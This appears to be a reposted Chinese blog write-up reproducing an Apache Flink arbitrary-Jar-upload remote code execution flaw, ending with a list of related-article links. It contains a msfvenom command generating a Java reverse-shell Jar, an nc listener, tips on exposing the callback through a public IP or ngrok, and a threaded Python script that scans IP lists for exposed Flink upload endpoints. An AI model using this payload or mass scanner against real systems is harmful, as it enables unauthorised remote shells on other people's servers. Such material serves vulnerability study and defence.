• 【漏洞复现】Apache Flink任意Jar包上传导致远程代码执行


    前言

     

    记一次Apache Flink任意Jar包上传导致远程代码执行复现漏洞过程。

    作者一直致力于小白都能看懂的漏洞复现过程,感谢大家们一路以来的支持!

     

    致谢Cx01、丞相等表哥们。没有你们的帮助,没有这篇文章!

     

    0x01 漏洞描述

     

    近日,有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞.

    影响范围:<= 1.9.1(最新版本)

    可能是我测的比较少,成功的概率1.9版本比较高。

    0x02 漏洞威胁等级

    高危

    可导致远程代码执行

    0x03 漏洞复现

    第一步生成payload
    msfvenom -p java/shell_reverse_tcp LHOST=x.x.x.x LPORT=x -f jar >fuck.jar
    名字可以任意取

     第二步生成监听端口,这里我选择nc监听端口。

    nc -lvp 8000

     第三步上传payload

     最后直接返回shell

     接着执行命令

    0x04 复现那些坑

    一定要生成公网ip的payload!!!
    一定要生成公网ip的payload!!!
    一定要生成公网ip的payload!!!

    没有钱的小哥哥,小姐姐们可以选择一个Sunny-ngrok 工具进行端口转发。
    官方Sunny-ngrok教程

     客户端工具下载地址

    0x05 批量检测脚本

    GitHub地址

    脚本源码

    """
    auth: @l3_W0ng
    version: 1.0
    function: Apache Web Dashboard RCE
    usage: python3 script.py ip [port [command]]
                   default port=8081
    
    """
    
    
    
    import os
    import subprocess
    import requests
    from multiprocessing.dummy import Pool as ThreadPool
    
    
    def get_iplist():
        iplist = []
        with open("iplist.txt", 'r') as file:
            data = file.readlines()
            for item in data:
                ip = item.strip()
                iplist.append(ip)
    
        return iplist
    
    
    def check_8081(ip):
        url = 'http://' + ip + ':8081/jar/upload'
    
        try:
            res = requests.get(url=url, timeout=2)
            data = {
                'msg': res.json(),
                'state': 1,
                'url': url,
                'ip': ip
            }
    
        except:
            data = {
                'msg': 'Secure',
                'state': 0,
                'ip': ip
            }
    
        if data['state'] == 1:        
            print(data)    
    
    if __name__ == '__main__':
        iplist = get_iplist()
    
        pool = ThreadPool(20)
        pool.map(check_8081, iplist)
    

      Ps:

    当注释掉 if ‘Unable to load requested file’ in str(data):
    之后,出现Token为空,或者 Unauthorized request 时候是不存在未授权访问的,而是带授权

    部分exp代码

    0x06 参考文献

    https://www.t00ls.net/thread-53784-1-1.html

    https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag

    https://flink.apache.org/downloads.html

     0x07 免责声明

    0x05批量脚本是来自于https://www.t00ls.net/thread-53784-1-1.html,如果有侵犯权益,留言删除。大佬见谅!

     本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

    ————————————————

    版权声明:本文为CSDN博主「清水samny」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

    原文链接:https://blog.csdn.net/sun1318578251/article/details/103056168

     

  • 相关阅读:
    Linux Shell 01 脚本与变量
    Linux下shell颜色配置
    Linux下Redis安装及配置
    Linux Shell 03 条件测试
    OSX下VirtualBox安装CentOS
    Log4j配置与使用
    Linux 环境变量的配置
    OS X下安装Redis及配置开机启动
    圈复杂度
    (转)Qt Model/View 学习笔记 (一)——Qt Model/View模式简介
  • 原文地址:https://www.cnblogs.com/pt007/p/11881017.html
Copyright © 2020-2023  润新知